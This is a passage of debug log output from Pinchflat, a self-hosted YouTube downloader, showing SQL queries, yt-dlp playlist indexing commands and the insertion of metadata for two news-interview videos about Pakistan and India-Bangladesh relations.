((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:10:06.371 [debug] QUERY OK source="media_items" db=1.4ms queue=0.4ms idle=47.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:10:06.372 [debug] QUERY OK source="media_profiles" db=0.9ms idle=36.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:10:06.375 [debug] QUERY OK source="settings" db=0.3ms idle=36.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.490 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 21:10:06.493 [debug] Current batch of media processed. Will check again in 1000ms 21:10:06.495 [debug] QUERY OK source="settings" db=4.8ms queue=0.1ms idle=138.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.497 [debug] QUERY OK source="settings" db=1.0ms queue=0.8ms idle=126.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.499 [debug] QUERY OK source="settings" db=1.0ms idle=126.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.868 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/d7/ddd754238a2ef6f5cef4d1076789c2ba7b1fbc6dbfbbcff2a24178e4d64ba0b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:10:07.494 [debug] Current batch of media processed. Will check again in 1000ms 21:10:08.495 [debug] Current batch of media processed. Will check again in 1000ms 21:10:09.496 [debug] Current batch of media processed. Will check again in 1000ms 21:10:10.497 [debug] Current batch of media processed. Will check again in 1000ms 21:10:11.514 [debug] Current batch of media processed. Will check again in 1000ms 21:10:12.516 [debug] Current batch of media processed. Will check again in 1000ms 21:10:13.517 [debug] Current batch of media processed. Will check again in 1000ms 21:10:14.519 [debug] Current batch of media processed. Will check again in 1000ms 21:10:15.727 [debug] Current batch of media processed. Will check again in 1000ms 21:10:16.729 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 21:10:16.784 [debug] QUERY OK source="sources" db=34.1ms queue=0.1ms idle=936.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 21:10:16.788 [debug] QUERY OK source="sources" db=1.3ms queue=0.3ms idle=973.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:16.791 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=976.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 21:10:16.895 [debug] QUERY OK source="media_items" db=100.7ms idle=980.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "71da974a-dc1c-40b0-b979-a99f22f62462", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 21:10:16Z], ~U[2026-01-10 21:10:16Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 21:10:16.897 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=533.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:16.899 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=113.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:10:16.901 [debug] QUERY OK source="media_items" db=1.1ms idle=111.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 21:10:16.902 [debug] Current batch of media processed. Will check again in 1000ms 21:10:17.906 [debug] Current batch of media processed. Will check again in 1000ms 21:10:18.908 [debug] Current batch of media processed. Will check again in 1000ms 21:10:19.909 [debug] Current batch of media processed. Will check again in 1000ms 21:10:20.453 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/d7/ddd754238a2ef6f5cef4d1076789c2ba7b1fbc6dbfbbcff2a24178e4d64ba0b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:10:20.455 [debug] Gracefully stopping file follower 21:10:20.456 [debug] QUERY OK source="sources" db=1.4ms idle=1642.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 21:10:20.458 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1644.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:20.459 [debug] QUERY OK source="media_items" db=0.5ms idle=1645.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 21:10:20.474 [debug] QUERY OK source="media_items" db=14.0ms idle=1086.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "373f704d-ba0d-46ef-8195-6d18b9fa2dd4", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 21:10:20Z], ~U[2026-01-10 21:10:20Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 21:10:20.476 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=100.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:20.503 [debug] QUERY OK source="media_items" db=26.6ms idle=19.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 21:10:20.527 [debug] QUERY OK source="media_items" db=23.0ms idle=45.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "f3876bd4-6a0b-4de7-82a7-07b62d7d74ea", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 21:10:20Z], ~U[2026-01-10 21:10:20Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 21:10:20.530 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=69.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 21:10:20Z], ~U[2026-01-10 21:10:20Z], 1] 21:10:20.531 [debug] QUERY OK source="media_items" db=0.8ms idle=57.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:10:20.582 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=104.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:10:20.630 [debug] QUERY OK source="media_items" db=18.6ms queue=0.3ms idle=107.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:10:20.758 [debug] QUERY OK source="tasks" db=92.8ms queue=0.1ms idle=134.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [97, 1, ~U[2026-01-10 21:10:20Z], ~U[2026-01-10 21:10:20Z]] 21:10:20.763 [info] {"args":{"id":1},"id":96,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14424118,"event":"job:stop","queue_time":484734,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 21:10:30.593 [info] {"source":"oban","duration":42390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:37.970 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:10:37.971 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:10:37.972 [debug] QUERY 